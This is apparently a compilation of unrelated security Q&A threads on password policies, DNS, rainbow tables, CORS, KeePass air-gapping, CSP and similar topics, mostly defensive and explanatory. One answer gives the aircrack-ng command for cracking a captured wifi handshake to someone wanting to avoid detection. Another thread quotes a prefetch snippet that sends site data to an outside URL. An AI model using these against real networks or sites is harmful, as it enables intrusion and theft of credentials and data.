First X characters of your password cannot be identical to your previous one The security policy at my employer has a password rotation policy for my workstation. Upon a recent change of password I immediately received an email telling me of an issue:

According to our records, you recently changed your workstation password,
which is synchronized automatically with XYZ. However, this email is
sent to inform you that your password could not be set in the system.
The most common reason for failure is that the first three characters
of a password cannot be identical...
Please change your password once again via the Password Center or Windows.

How annoying that I need to change my password once again. But more curiously, I was under the impression that policies like this one would be impossible if password hashing was in practice. Should the administrators of system XYZ know what the first three characters of my previous password are or is it indicative of bad practice?
Edit

first three characters of a password cannot be identical

I interpreted this as "...first three characters of a password cannot be identical to the previous". The email itself was riddled with spelling and grammatical errors (it even contained a stack trace) so I mentally went into interpretation mode and now I think I interpreted this line incorrectly. On reading again it's probably just making a suggestion. I won't go jumping down the throats of the IT Helpdesk just yet! Nevertheless I think this can be answered hypothetically as though it were referring to the previous password so I will leave the question as it stands. (Incidentally, I'd be interested in knowing why one might have a policy that forbids the first three characters from being identical.)
Password is changed via CTRL+ALT+DEL in Windows. Some synchronization with other internal systems (time-writing systems for example) must occur when this happens.

If it is meant to say, "the first X letters of the password are the same as the first X of the previous password", this is indicative of bad practice. For exactly the reasons you have mentioned.

The first X letters may be stored somewhere in plaintext, which is bad - if an attacker gets their hands on them, it makes a brute-force attack simpler.

Even if, as @Quentin points out in the comments, they only store a hash of the first X characters, this still makes it easier for an attacker. If attackers get access to this hash, they can brute-force the hash of the first X characters easier than the hash of the full password. After that, they've got the first X characters of the password - making a brute-force attack on the entire password a lot simpler.

However, as is pointed out by @hamena314 in the comments, maybe you are interpreting the message wrong:

  The most common reason for failure is that the first three characters of a password cannot be identical...

It may simply mean that the first three characters cannot be identical to each other.


Is it safe to post the output of Linux dig (DNS) commands? I need help debugging/troubleshooting a DNS/DKIM issue over on ServerFault, but it looks like I need to paste the results of running:

dig my-dns-record.example.com CNAME

...where my-dns-record.example.com is a placeholder for my actual domain (obviously!).

I was told that the output of dig produces only stuff that is already public knowledge + available, but before I do so I wanted to check here with the Security community and make sure I won't be giving anyone the keys to my kingdom!

So I ask: Is it safe for me to post the output of my dig commands?

If you are running dig on public DNS, then the output is the same for everyone, and Public.

But that does not mean that it is "safe". It is possible that you disclose an unsafe amount of info in the public DNS record. But, since it is public, it is already disclosed, and you are not adding more risk by posting it.


Can you track an IP Address's use in the Internet/where else it was used? Is there any way to use an IP address to locate other places it was used?
Like using the IP address to see anything public that it did on the internet, from comments to a blog, to accessing a site?

IPs are more or less public, so I wondered if there is any way to know what else that is public was accessed by that IP.

Only if:

the ISP of the user cooperates with you and tells you what sites they visited
those services cooperate with you by sharing their access logs with you

Neither is likely to cooperate with you unless you are a law enforcement officer and you have a search warrant signed by a judge.


Estimating the size of a rainbow table What are rainbow tables and how are they used? Gives a very precise answer about what rainbow tables are and how they are used. I had always confused hash-tables and rainbow tables. My question is regarding the size of the rainbow tables. Now, for a hash table, the size of the file would be :

let n = ( size of the input plain text file ) (Assuming one line per plain-text)

so size(hash table) = n + (bytes in hash)*h + n ( for separation) Bytes

On the other hand, is there a similar mechanism to estimate the size of a rainbow table ? I am sure there is, since tools used to generate a rainbow table usually have a size estimate on them.

How is the size of a rainbow table estimated, given:

charset, chain length, min and max length of plain text.

This would give a better understanding of how and why rainbow tables are better.

RainbowCrack is probably what you would be using to generate rainbow tables.  Rainbow tables are always generated over a keyspace,  such as alpha-numeric 5-9 bytes long and the chain length and count which will affect the rate and the size of the resulting tables.  If you have an input file,  then it's not a rainbow table,  it's some other lookup table.   A rainbow table is a speical type of lookup table with neat properties.  Such as the size of the hash function (sha256 vs sha512) doesn't affect the size of the rainbow table.

There are some matlab scripts floating around to calculate the size of rainbow table,  however this site is easier to use.


IIS Host Header Attacks Is IIS and ASP vulnerable to the same Host Header Attacks we have seen on Apache and Nginx? Specifically the attacks that use the HTTP Host Header to reset a password or implement web-cache poisoning. These specific attacks use the SERVER and HOST variables.

Any insight or help is greatly appreciated.

The "HOST" header is part of the http protocol, vulnerable applications are vulnerable because they insert the value of this header into the application code without proper validation, this means not only applications hosted on Apache/Nginx can be vulnerable. In short, the answer is yes, your application could be vulnerable no matter what kind of language/server you use. Avoid pulling information out of this header, since manipulating it from the client side is trivial.


How secure is Slack for sensitive information compared to other alternatives like Mattermost? Our company is contemplating the benefits of switching from Slack to Mattermost.

One of the arguments is that the 'sensitive information should be more secure because it is stored on our servers'.

But is it so?

Mattermost is open-source and vulnerabilities can be found and exploited any time.
Even though Slack stores information on their servers, the probability of attacker exploiting exactly your data is smaller, since they would have to find it, assess it and deem it useful.
And in an event of a Slack-wide server hack it would be known and there would be time left to do damage control.

Also Slack has all the incentives to keep security top level to ensure their business success and reputation.

Whereas a private Mattermost server could be less protected and fall pray to a targeted attack in which case the attacker would be able to exploit the information immediately and leave no time for damage control.

P.S.
This is not a duplicate per se of the Open Source vs Closed Source Systems question.
Quoting from top answer on the said 'duplicate' question: "To reason about this you must limit the discussion to a specific project.". This is a question about two specific projects.

There are some additional points that are worth mentioning:

Cons

You have to trust Slack team because they have access to all your messages and conversations
You need to check that former employees or third people don't have access to your Slack chats (you need an additional robot)
Slack servers are available from any device including those security settings of which you can't control (for example, devices out of MDM). You can't use additional protection in this place (corporate VPN etc.)
In case of Slack you can't enforce password strength and rotation policy, can't link Slack with, for example, your corporate Active Directory authentication system. In case your data is compromised, it will be hard to investigate the incident as you don't have any logs etc.
There is no Slack Enterprise version available at the moment

Pros

Slack can be cheaper to set up and maintain
There is a guarantee that new versions will appear and developers won't drop support for the project (sometimes it happens in open source world)
You'll have technical support from Slack team
There is a chance that Enterprise version will appear and will have some enterprise security features

In my opinion Slack is better for small teams and startups, but in case of big companies you'd better choose something you have control on. Anyway, it's up to you - just evaluate the risks and find out what you can and can't accept in your situation.

Update: As it's noticed in comments, point 2 of Pros is quite arguable - just recall the story around Google Reader.


Sans security courses: How are self study courses certified? If i were to take the course http://www.sans.org/course/advanced-web-app-penetration-testing-ethical-hacking# as a self study course over 4 months, how is it eventually graded? Is it an exam at the end? I've been reading around the SANS site and can't really find what I'm looking for.

"Students in the SelfStudy Program receive:

SANS printed course books and CD (CD not applicable to certain courses)
Two GIAC Practice Tests for each exam required for certification (GIAC Certification students only)
Four-month online access to MP3 files of the course taught by the world's best instructors"

Is the GIAC test the actual certification? How does this differ to attending the live video lectures over the course of a week? My immediate thought is that I'd prefer the self taught version but I'm not totally clear what the differences are.

Is the GIAC test the actual certification?

Yes, GIAC is the certifying body for SANS training.

The GIAC test is a timed, computer-based, open-paper-book test that you take at a testing center (e.g., Pearson Vue).  The test and the testing process is the same, whether you attended a week-long class in person or used the self-study books and MP3s over the course of several months.

  How does this differ to attending the live video lectures over the course of a week?

Going to a class is more immersive and it's easier to have give-and-take conversations with the instructor and your classmates.

Taking the class online or self-study is less expensive and less disruptive to your schedule.

  My immediate thought is that I'd prefer the self taught version but
  I'm not totally clear what the differences are.

If you learn better from a teacher than from self taught, going to class is much better, but that's very dependent on what your learning style is.

Going to class is more expensive, both directly and for hotel/food/travel in most cases.  Obviously that impacts you depending on your situation (are you paying?  does your employer cover training?)

More subjectively:

I've held 5 GIAC certs over the years (2.5 current), and have certified or re-certified twice in the last year (and am scheduled to re-certify one of those next week).  You can definitely pass the exams if you have the books and read and understand them before the test - re-certifying is essentially the Self-Study option.  But the classes and conferences can be a really good experience that you won't regret if you can spend the money and time to do it.


How to prevent my MI AIR purifier from listening on my wifi traffic? So I recently bought MI Air purifier. It uses my wifi to get connected to internet. It needs to connect to internet so that I can monitor/control it from anywhere.

Now, what kind of precautions do I need to take with it? Can someone hack it and listen to my wifi traffic? Since it stores my wifi password, can the hacker gain entire access to my internet? I use TP-LINK 300M Wireless N Router
Model No. TL-WR841N/TL-WR841ND.

Follow the instructions in your router's Users Guide to create a Guest wireless network (Section 4.7 of the user's guide.)  This makes your router advertise a second wireless access point.  Pick a different name for it, such as dharm0us_guest.  Uncheck the box marked "Allow Guests to Access My Local Network".  Pick a password for the guest network that is different from your home network's password.  This essentially creates a DMZ, which is a network isolated from the rest of your home's computers and devices.

Then, reconfigure your Air Purifier to use the newly created Guest network, dharm0us_guest, with the new password.  Now if your Air Purifier is hacked, it won't expose your internal computers to any threats.

Note that if you do this, you won't be able to "locally" control the air purifier with your smartphone app.  Your only access will be via remotely, via their service interface. This may or may not be an issue for you, it's simply a consequence of isolating their device to reduce the risks to your network.

While you're at it, you might also want to follow the user's guide in section 4.9.4 to disable UPnP in your router.  This will prevent these kinds of devices inside your network from opening security holes in your router without your knowledge.


Lessons learned and misconceptions regarding encryption and cryptology Cryptology is such a broad subject that even experienced coders will almost always make mistakes the first few times around.  However encryption is such an important topic, often we can't afford to have these mistakes.

The intent of this question is to identify and list what not to do with a given algorithm or API.  This way we can learn from other's experiences and prevent the spread of bad practices.

To keep this question constructive, please

Include a "wrong" example
Explain what is wrong with that example
Provide a correct implementation (if applicable).
To the best of your ability, provide references regarding #2 and #3 above.

Don't roll your own crypto.

Don't invent your own encryption algorithm or protocol; that is extremely error-prone.  As Bruce Schneier likes to say,

  "Anyone can invent an encryption algorithm they themselves can't break; it's much harder to invent one that no one else can break".

Crypto algorithms are very intricate and need intensive vetting to be sure they are secure; if you invent your own, you won't get that, and it's very easy to end up with something insecure without realizing it.

Instead, use a standard cryptographic algorithm and protocol.  Odds are that someone else has encountered your problem before and designed an appropriate algorithm for that purpose.

Your best case is to use a high-level well-vetted scheme: for communication security, use TLS (or SSL); for data at rest, use GPG (or PGP).  If you can't do that, use a high-level crypto library, like cryptlib, GPGME, Keyczar, or NaCL, instead of a low-level one, like OpenSSL, CryptoAPI, JCE, etc..  Thanks to Nate Lawson for this suggestion.


Does google store all the IPs since you opened the account? As in title: Does google store all the IPs since you opened the account? What to do to see all logs since I created a gmail account?

From Google's Privacy Policy:

  When you use Google services, we may collect and process information about your actual location. We use various technologies to determine location, including IP address, GPS, and other sensors that may, for example, provide Google with information on nearby devices, Wi-Fi access points and cell towers.

Unfortunately, this policy is vague regarding the retention time. As noted in this paper, Google's policies regarding the anonymization often describe the "expected effects, rather than the process itself."

However, you can see some of the logged IP and location information:

At the bottom of the Gmail page, you can find a link next to the text "Currently being used in x other locations." This link will show some, but not all of your history.

If desired, it is possible enable more detailed location tracking on your account history settings page.


HTTP/S  HTTP/S cross-site requests: what do third-party websites know about where their objects are being referenced from? There are four general cross-site request combinations security-wise, and I want to know whether ysite.com, in each case, knows that the reason I downloaded one of its resources was because I was visiting the specific URL that referenced it (xsite.com/page.html), or if not the specific URL, the site / domain perhaps:

I visit https://xsite.com/page.html. It references https://ysite.com/library.js.
I visit https://xsite.com/page.html. It references http://ysite.com/image.jpg.
I visit http://xsite.com/page.html. It references https://ysite.com/library.js.
I visit http://xsite.com/page.html. It references http://ysite.com/image.jpg.

And in the cases above where ysite.com cannot know what site / URL I was browsing in order to download its resource - will it look no different than if I directly downloaded the image or js file from the browser address bar itself, when it comes to their site's server logs? Will it look different in other ways compared to embedment on another website, due to TCP timing difference subtleties, HTTP header information (or lack of it) in the HTTP request (or lack of even certain HTTP headers in the GET request at all?), or any other differences in transport or application layer interaction that they could see at their server?

Of interest, is whether sites can prevent direct url image hotlinking from external HTTPS domains. If they can, then I assume HTTPS site URLs CAN be leaked to third-party objects' webservers, unless their method for blocking HTTPS hotlinking is a way that ALSO prevents direct access to the image WITHOUT being referred by a URL from the image's webserver.

It is most browser dependant, but as per RFC, case 2 should not have the Referer header per security reasons. In all other cases, RFC states that it could be included unless the user has configured any privacy setting (like private browsing).

So in cases 1, 3 and 4, ysite would probably get the whole referer xsite.com/page.html and in case 2, it (probably) will not get any information.

For that reason, most CDN, advertisement and/or analytics sites have javascript that allows them to rewrite their links to match the same protocol (http/https) as the refering page.


Terminology (analogy?) for losing control of a secret due to re-sharing Regarding sharing a password/access/secret to someone... and then you don't have control whether they will also share this on, and potentially it could/will end up publicly known, thus insecure.

The term I am looking for is along the lines of "chinese whispers" but that means "the message gets more distorted"... I want the phrase depicting that a recipient can potentially just keep sharing the secret down a chain:

  Okay Joe: Hicsy said this password is really secret so just type it once and forget it.

    Hi Marie, I shouldn't even have this password so, i'm only sharing it just this once to you + Sue

      Hi guys, here's that password that you use to unlock devices in evidence room.

        WareZ/SecureBoot_Backdoor.txt

It's called "the game of broken telephone", and was pulled on us in grade school. The teacher tells the left front pupil something, everone passes it on, and the right rear pupil says what they heard. It's hilarious!


How should one prepare himself for a job interview for penetration testing? So, the title basically says it all. I would really like to hear out some of the more experienced friends here with their answers for this.

Should it revolve around the ability to verbally explain attacks at a
non-technical\technical level?
Should it focus on network, system and web app attacks? Social engineering? Attack vectors?
Should it revolve around countermeasures to attack?

I am not asking for "the whole enchilada" here, but just for a sort of framework one should have in mind when getting ready for job interviews in that field.

In my experience these are my following observations:

  Should it revolve around the ability to verbally explain attacks at a
  non-technical\technical level?

Yes. Absolutely it should involve a technical level. Non-technical explainations are a bonus, you will, as a pen-tester be involved in meetings with people who know nothing about what you're doing and will get angry if you don't explain it simply. The kinds of people who usually hire pen-testers however realise that usually you get one or the other (people skills vs technical skills). If you can demonstrate both, you are way ahead of the competition.

  Should it focus on network, system and web app attacks? Social engineering? Attack vectors?

The only attack that probably won't be questioned (largely because it rarely comes up in pen-testing jobs) is Social engineering (note, stuff like phishing attacks and the like may come up). A good interviewer will ask you a number of technical questions, and also provide you with a workstation to demonstrate some attacks, these can include basic Web-app exploitation as well as system/network exploitation. Things like SQLi, XSS etc should be known from memory.

  Should it revolve around countermeasures to attack?

Not necessarily. However being able to demonstrate such knowledge should usually go hand-in-hand if you understand the attacks in depth.

A useful snippet from pentesterlabs blog is below explaining (how at least one professional tester conducts interviews):

  Before the interview (or even before you read the resume), it's good
  to have a basic opinion on someone's skills... I wrote a simple
  website with 20 questions to get a quick feeling of who I'm talking
  to.

  The questions are simple but allow to detect people with no security
  knowledge. Below are 2 of the 20 questions so you can see what I'm
  talking about:

unmd5 is the PHP function used to retrieve the clear text of a md5 ? True/False
Windows passwords are stored in C:\Windows\System32\drivers\etc\shadow ? True/False

  If someone passes this test, the real technical interview can start.

  As always, you will have the normal security questions (I guarantee
  most security companies ask for these):

explain a tcp handshake
how Windows passwords are stored?
what is a cookie?
opinion on disclosure?

  From my experience, I think it's better to ask people to explain
  things than just to ask them what it's. You can really see what level
  of understanding people have of a problem...

  For example, with Cross Site Scripting, you can have the following
  responses:

"it's a problem of filtering and it allows an attacker to inject script in the page"
"it's a problem of filtering and an attacker can display/run arbitrary code in victims' browser"
"it's a problem of output encoding and can be used to inject Javascript or HTML in the page sent back to victims"
...

  That way, you're able to see if the person really understands what's
  going on and how he will be able to explain it to someone else.

  You need to have 2 types of questions:

questions based on memory: "what port is used by X", "what nmap options do you used"
questions based on reflection: "how will you solve that problem"

  I also have my favorite set of questions:

"You're going to PentesterLab's website, explain what happens...", that way you can see someone's knowledge of TCP/IP, DNS, HTTP, SSL,

  ...
      "What is the last cool thing you learned/read", that way you can see what people are interested by and where they at

  After this test, another interview is setup with hands-on test (only
  if the person did good enough obviously), it's currently the web
  application of the exercise "From SQL injection to shell" and it's
  used to see how people think and behave with a computer.

  You can see a lot of different things:

what people use for desktop
how fast someone is with his computer
how people solve a problem
if people bring a working laptop (yes it happened, someone came to an interview with a broken gentoo...)
learn from people: sometime people show you cool tricks you didn't think of
...

  Obviously, not everyone (actually only one person did it without any
  help so far) knows how to exploit a SQL injection manually (why do you
  think I created PentesterLab). But during the test, we help people and
  show how things work to see how they can learn new things and
  incorporate information into their way of thinking.

Source: pentesterlabs
Related reading: pentesterlabs how to get your first job

Hope that helps!


ECDH_SHA2_NISTP256 (KEX) Algorithm in SSH - Vulnerabilities? My organization within my company uses this KEX Algorithm in our SSH Implementation.

Another organization within my company won't connect to our servers as long as this algorithm is implemented as they claim it is "weak and vulnerable". They referenced this article:https://nvlpubs.nist.gov/nistpubs/ir/2015/NIST.IR.7966.pdf which is interesting because nothing in there mentions it??

Could anyone help me understand the vulnerabilities of this KEX Algorithm? If it was diffie-hellman-group1-sha1 I'd understand, but ECDH_SHA2_NISTP256 I don't. It uses NIST Curve P256 and also uses SHA2 - SHA256.

I'm very keen to understand what the problem with this algorithm is... thanks for the help!

They're probably referring to NISTP256 in the algorithm.  The constants for this elliptical curve were created by the NSA, and there is some speculation that the NSA may have been specially chosen these constants to create a backdoor for themselves for this curve.  See the links below for more info:

https://crypto.stackexchange.com/questions/52983/why-is-there-the-option-to-use-nist-p-256-in-gnupg

https://www.wired.com/2013/09/nsa-backdoor/

https://www.schneier.com/blog/archives/2013/09/the_nsa_is_brea.html#c1675929

Notwithstanding, NISTP256 is defined as:

 y^2 = x^3-3x+41058363725152142129326129780047268409114441015993725554835256314039467401291

As far as I know, the NSA has never explained how they came up with the long constant (41058...) above.

By contrast, secp256k1 (used in Bitcoin) is defined very compactly like so:

 y^2 = x^3+0x+7


Protecting against specialized Keepass attacks If you look at the KeePass security information, it says:

However in all the questions above we're assuming that there's a spyware program running on the system that's specialized on attacking KeePass.
In this situation, the best security features will fail. This is law #1 of the 10 Immutable Laws of Security [4] [5]: "If a bad guy can persuade you to run his program on your computer, it's not your computer anymore".

Given the wide use of KeePass, let's assume that there are specialized KeePass attacks available. Also, the number of zero day exploits etc. makes me feel that I can't really guarantee that me PC has not been hacked.
In such a situation, is there a way to still use KeePass, but protect against specialized attacks?

In such a situation, is there a way to still use KeePass, but protect against specialized attacks?

Absolutely; the simplest and most basic is called "air gap" protection.

Take a computer with no network connection, no speaker, and no microphone, such as a Raspberry Pi 2.
Use wired keyboards, mice, monitors, etc.  No wireless anything!
Set it up with the minimum required software - if you insist or for a basic proof of concept, you can start with NOOBS Raspbian.

Patch it, ideally offline (see below for one-way transfers), but you could do it online before you actually start using KeePass at all

Fill the ethernet jack with epoxy; it is NEVER to be used.
Install KeepassX
NEVER AGAIN move any data off this machine in any electronic way.  Updates can go in, but nothing comes out electronically.  Read the screen and hand-type.

burn CD-ROMs with whatever updates you need to move to the KeePass only machine and then use a USB CD-ROM to read them, then shred the CD (just in case something got written to it).
or use something like an Apricorn flash drive; wipe it, set a password, put the data on it, enter the password and use it on the KeePass machine, then immediately wipe it again BEFORE it goes in any other machine.

For the truly paranoid, use a dedicated monitor, mouse, and keyboard that never get used for anything else; the older and less advanced the better.
Don't use it where any electronic cameras - like your laptop/webcam/fancy video conferencing monitor - can see screen emissions.

This way, even assuming that some specialized software gets onto the machine, someone has to be in reasonable physical proximity to be able to extract data; hear the sounds the chips and/or power supply make, watch thermal patterns, see the emissions from the machine, monitor, keyboard, etc., but the machine itself has no networking or radios at all - no bluetooth, no wifi, no cell modem, no ethernet cable, etc.

CRITICAL - back up that KeePass file regularly to something like an Apricorn mentioned earlier, or paper (dedicated printer, no networking, no wireless capability), etc.

CRITICAL if using a Pi - run that Raspberry Pi on a UPS of some sort - Raspbian reacts very badly to sudden power loss while turned on some of the time.


Should we prevent this login XSS attack? Setup

Restful API and thin JS web client
Login POST Endpoint using parameters email and password
Access-Control-Allow-Origin is set, so responses can only be retrieved from non attacker website. However, as per specs, a pre-flight request is not issued to the Login endpoint.

The Attack

A malicious website can make requests to the Login endpoint without the user knowing. The response can not be retrieved by the browser, however the requests still go through.

Why is this bad? At the very least the attacker can rate limit the users IP address. If they target a specific email, they can make it look like a DDOS using many (real user) ip addresses and lock out the email. If they have access to the network traffic they can even analyse the response package size to determine if a login attempt was successful (Distributed Brute Force).

Sort-of-solution

What we've done so far is adding a xss token that is tied to the requesting IP address. The token is first retrieved through a separate endpoint and then required to be submitted to the login endpoint. The login attempt is made only if the token is valid and matches the requesting IP. This prevents the above attack.

This unfortunately only works if the users IP doesn't change between requests. This is now becoming a problem as some users are using services like Tor or Onavo. These users can no longer use our system.

Additional Information

We can't use browser cookies or browser local storage
Browser might not send referrer if so configured by user
Here is an attack that would work if the token was not tied to the IP address:

Question

Should we worry about this attack or just drop the xss token requirement? Is there a better way to prevent this attack? How do other services solve this?

tl/dr Your setup assumes that an attacker can't read requests from your server.  This is only true for in-browser requests.  However, a
  login endpoint doesn't use cookies so is not authenticated and
  therefore an attacker has no reason to be making requests in browser.
  As a result a core assumption you are making (that the attacker can't
  read responses from your endpoint) is invalid, and this security step
  is largely useless.    Now that it is causing trouble for your end
  users, you should ditch it all and stick with more common brute-force
  monitoring.  Off-the-cuff security measures tend to create more
  problems than they solve - stick to the basics.  I don't think anyone
  attempts the kinds of attacks you are worried about anyway.  A full
  site DDoS is probably easier, so no one would bother trying what you
  are worried about.

There is definitely some confusion of terminology going around that I think is worth addressing.  Most importantly, you keep using the term XSS but this is not an XSS attack.  I agree, your concern isn't exactly a CSRF attack, but it definitely isn't an XSS attack either.  The reason is because you seem to be under the assumption that such malicious attacks would come from a browser: in a case like this they absolutely wouldn't (which is why this isn't a XSS attack).

This is more than just me being pedantic.  You mention in your original question that about Access-Control-Allow-Origin and other CORS settings, and state that a malicious user could hit your endpoint but not read the response.  Again, this is only true from requests made from a different domain in a browser, but in a case like this there is absolutely no reason why a malicious user would be using a browser.  The only reason you would work from inside a browser is if you are trying to take advantage of a user's cookies for authentication (which is the case for CSRF attacks).  however, this is a login endpoint, which means there are no cookies, and presumably therefore no reason why the attacker needs to be doing anything from inside a browser.  That is to say:

A malicious attacker could use any HTTP client to make these login request, they wouldn't be affected by CORS rules, and would absolutely be able to see the response from your server

As we'll see, this fact invalidates the assumptions you are making about your security, and the end result is that your chosen security step is not actually securing anything.  A malicious attacker hitting a login endpoint doesn't need to worry about pre-flight responses, CORS, access control headers, or anything else, because those are only relevant to HTTP requests made by javascript running in a browser, and they would most likely be using scripting tools making HTTP calls from outside of the browser.

Back to your question

So you have this extra security step in place to (effectively) try to prevent malicious attackers from attempting various DoS attacks on your login page.  You specifically mention these concerns:

  At the very least the attacker can rate limit the users IP address. If
  they target a specific email, they can make it look like a DDOS using
  many (real user) ip addresses and lock out the email. If they have
  access to the network traffic they can even analyse the response
  package size to determine if a login attempt was successful
  (Distributed Brute Force).

As stated, your current step is not actually protecting against most of this.  In particular, there is absolutely nothing stopping a malicious hacker from setting up scripts on dozens of different of ip addresses (even just rent-a-vps from a cheap hosting provider), hitting up your GET endpoint to get an access code, and then (with the same IP of course) hitting up your login endpoint with that access code and a chose user's email address.  This will look like a DDoS of a user's email address (because it is) and from the sounds of it will result in that email address being locked.  They don't need to bother analyzing network traffic to see if the response is successful because they will be able to read the response themselves.  Again, it sounds like you were assuming no responses from your server could be read, but this is only true for browsers, and does not impact HTTP requests from any other HTTP client.

Your security will prevent a malicious attacker from performing a DoS with the user's IP address (which could happen if the attacker can get the user to visit a page that has javascript they control), but that doesn't matter.  At that point in time you are talking about a malicious attacker that is clearly targeting your system and/or users, and as such the attacker will have no trouble figuring out how your login flow works and performing the above attack to lock out an email address or even brute force the password.

All that to say: regardless of whether or not this attack is a general concern on the web, the method you have chosen to defend against it and which is causing trouble for your customers is not actually providing any real protection for your system at all.  As a result, the overall answer is easy:

Ditch this security step and make life easier for your users

You also asked:

  Should we worry about this attack?

The answer is a simple no.  Technically things are rarely yes/no in security, and the answer is always "It depends on the level of risk you are willing to accept and your expected threat model".  However, unless you have reason to specifically expect this kind of attack in the near future, I would say that it is not a concern at all.  I've never heard of such an attack happening in practice.

You should have monitoring to try to detect and block brute force attempts against your login page, and you should tie that protection to IP addresses (the details vary, but in essence it is very reasonable to start blocking repeated failed login attempts for the same ip address).  However, I don't think you have to worry about a malicious attacker getting javascript in front of a user to get them to black-list their own IP address (which is essentially the attack you are worried about).  While that is certainly possible, I don't think I've ever heard of such an attack happening in practice - it would have to be a targeted attack and the gains would be so minimal, I doubt anyone would bother.  If someone really wanted to lock people out of your system they would probably have better luck (and an easier time) just doing a rent-a-DDoS and completely shutting down your entire site anyway.


Can do I brutefore wifi password with handshake without wifi detection? I have captured handshake but now I want to bruteforce wifi without detection it (in different place). Is it possible? If yes, how to do that?

Since you have written that you captured the handshake.The next logical step is to bruteforce the cap file that you obtained at the handshake part.For that use the following command
aircrack-ng capfile -w wordlistfile

ofcourse change the capfile to the name of your cap file and your own wordlist

P.s:- You should really google first before asking


Can opening a Word document reveal user's IP address? I've heard that opening a document in Microsoft Word can reveal the user's IP address (something to do with verifying certificates).

What does happen here?
Are there any other ways (apart from the certificate verification) this can happen?
Can this be prevented?

Yes there are also other ways to do this as well.

What you are referring too is adding an invisible digital signature using your own certificate authority and tracking the signature checks. More information on signing a document with an invisible signature can be found here but again you'll also need to setup your own CA and monitor it's traffic:

https://support.office.com/en-us/article/Add-or-remove-a-digital-signature-in-Office-files-70d26dc9-be10-46f1-8efa-719c8b3f1a2d

Other ways this can happen occur when people leverage the scripting function within the document to make a call to a unique URL or DNS request to a unique host either or which then reveals the person who opens the documents publicly accessible external IP address. These can be embedded in different document types in a number of different ways and there are many commercial services which offer software just to do this. Likewise there are many penetration testing tools / red team exploitation tools for Word and other document types (.pdf's are more commonly exploited because these can in some cases also give an attacker a remote shell on the system where the document was opened).

https://www.intralinks.com/products/information-rights-management

http://arstechnica.com/security/2012/05/doctrackr-file-tracking-for-paranoid-people-by-paranoid-people/

https://www.immunityinc.com/products/canvas/

Can this be prevented. Yes but not easily you have to really lock your internal computers security down well and either have tight egress rules which don't allow traffic out or block the IP address(es) the documents want to call home too.


If CORS is set to * your browser can't read the response if cookies are sent over. Why is the wildcard considered insecure? If this header is set

Access-Control-Allow-Origin: *

javascript can make a request to the domain and read the response if and only if no cookies are sent over, otherwise the javascript cannot read the response.

Generally speaking why is this header considered an insecure practice for a stateful web app that requires authentication?

An application should never revoke their rights over to the Same-Origin Policy, unless there is no other option.  In order for personal information to be disclosed with CORS,  an attacker must "ride" on an authenticated session,  which would require a session cookie.

An Access-Control-Allow-Origin: * could be exploited by an attacker to view an application that is only accessible on a local network,  or VPN.   In a sense this insecure rule-set creates a tunnel to an affected application, where an attacker could access a sensitive HTTP server on a private network segment.


Is there a real risk of exploitation in java code where a null pointer is dereferenced I'm playing with some generally well written and parsed java code, but there are some oddities thrown up by my code scanning tool.

I know a null pointer dereference can crash a program, but assuming the code is written to catch and manage all exceptions, does anyone know of a real attack that could use this issue?

Code snippets gratefully received :-)

Theoretically, any kind of null-pointer dereferencing in Java triggers a NullPointerException, which can be handled within Java just as any other exception. This does not mean that this is good: in practice, it is quite hard to recover from such an exception except by removing the faulty part (i.e. letting the calling thread die, or getting back to a catch-all clause). Following a null pointer is akin to overrunning a buffer: it is still a bug; the difference here between Java and non-protected languages (such as C) is that Java is more graceful about the consequences of that bug: in particular, the exception will propagate back the call stack, releasing monitors (the synchronized keywords) and executing the finally clauses, and only the faulty thread will be affected.

In practice, however, a few issues may arise. How the JVM traps null pointer dereferences is up to the JVM implementation; but what implementations usually do is the following: they just follow the pointer. If the pointer is null, then this leads to a memory access in the first page of memory, which is access-forbidden by the OS. The OS catches the occurrence (through the MMU) and informs the application in a relatively brutal way (on Unix-like systems, this is a SIGSEGV signal). The JVM receives the information, and transforms it into a NullPointerException.

The conversion from signal to exception is a complex thing because the JVM only receives the offending opcode address, which is somewhere either in the bytecode interpreter, or in the JIT-produced binary code. The JVM must locate the method and the thread stack. This has some fine interactions with how the OS put things in memory in the first place. Such code is quite stable nowadays, on mainstream platforms. However, on a less common combination (Sun's JDK ported to FreeBSD), I sometimes had null pointer dereferences for which the JVM was unable to locate the caller stack (because the JVM code was tuned for Linux, not for FreeBSD, and was apparently making an assumption on where the stack should be, assumption which was not always fulfilled on FreeBSD). Consequence was immediate JVM termination, in a most ungraceful way.

Another possible gotcha is that the null pointer dereference is caught because the access falls somewhere in a "forbidden" page; namely, the first page of the address space. However, when accessing an instance field, the JVM usually accesses directly the right data element: if the reference is, at native code level, a pointer to address x, and the field is at offset n in the object structure, then the code will read bytes at address x+n (this really depends on how the JVM represents objects internally, but a C-like structure is common). If the class has many fields, then n may be greater than the size of a page, in which case the read access will not fall on the first page, but the second. What happens in that situation depends on the operating system.

The "field at high offset" situation does not arise with arrays, because array accesses are length-checked and the "length" is usually a kind of field which is close to the object header. Also, there is a limit on the number of fields in a Java class (there is an absolute limit to 65535 in the class file format, actually lower than that because each field must have a name and a type, which are also in the class file format and will hit other limits sooner than that). So the problem will not arise on "common" systems, e.g. a Linux running Sun/Oracle VM. This is mostly something that VM implementers must be aware of.

So my advice is to consider NullPointerException as a serious bug, just like a buffer overflow (which is IndexOutOfBoundsException in Java). The VM safety will help you debug your code (stack traces are really handy) and, if you did not debug enough before deploying, it will probably save your skin. But a bug is a bug.


XSS vulnerability with strict CSP The article I’m harvesting credit card numbers and passwords from your site. Here’s how. describes the phases of a theoretical attack where an attacker can bypass a strict CSP and exfiltrate sensitive information. The article claims that this script can bypass CSP:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

This takes advantage of the fact that prefetch behavior in the CSP standard is underspecified. In Chrome, this works, but Firefox currently prevents this from happening (which may change given user complaints in the bug report). The article claims that this works even with the strictest security policy:

Content-Security-Policy: default-src 'none'; script-src 'self'

Which is true because there is no fallback behavior for prefetch currently. However, the thing not addressed is that the attacker's code still has to be injected (out-of-line) somehow. The article "Bypassing Content-Security-Policy with DNS prefetching" suggests that this is done by finding an XSS vulnerability elsewhere.

Assuming that the target website uses HSTS and that a user visiting the website uses NoScript, what would such an attack vector look like?

HSTS is only relevant when concerned about a MITM (e.g., on public wifi), so the rest of my answer will assume remote vectors that work with both HSTS and without.

If a user has NoScript set to not execute any scripts, then the user will not be exploited by any XSS (since there is no scripting being done, there cannot be a cross-site script).

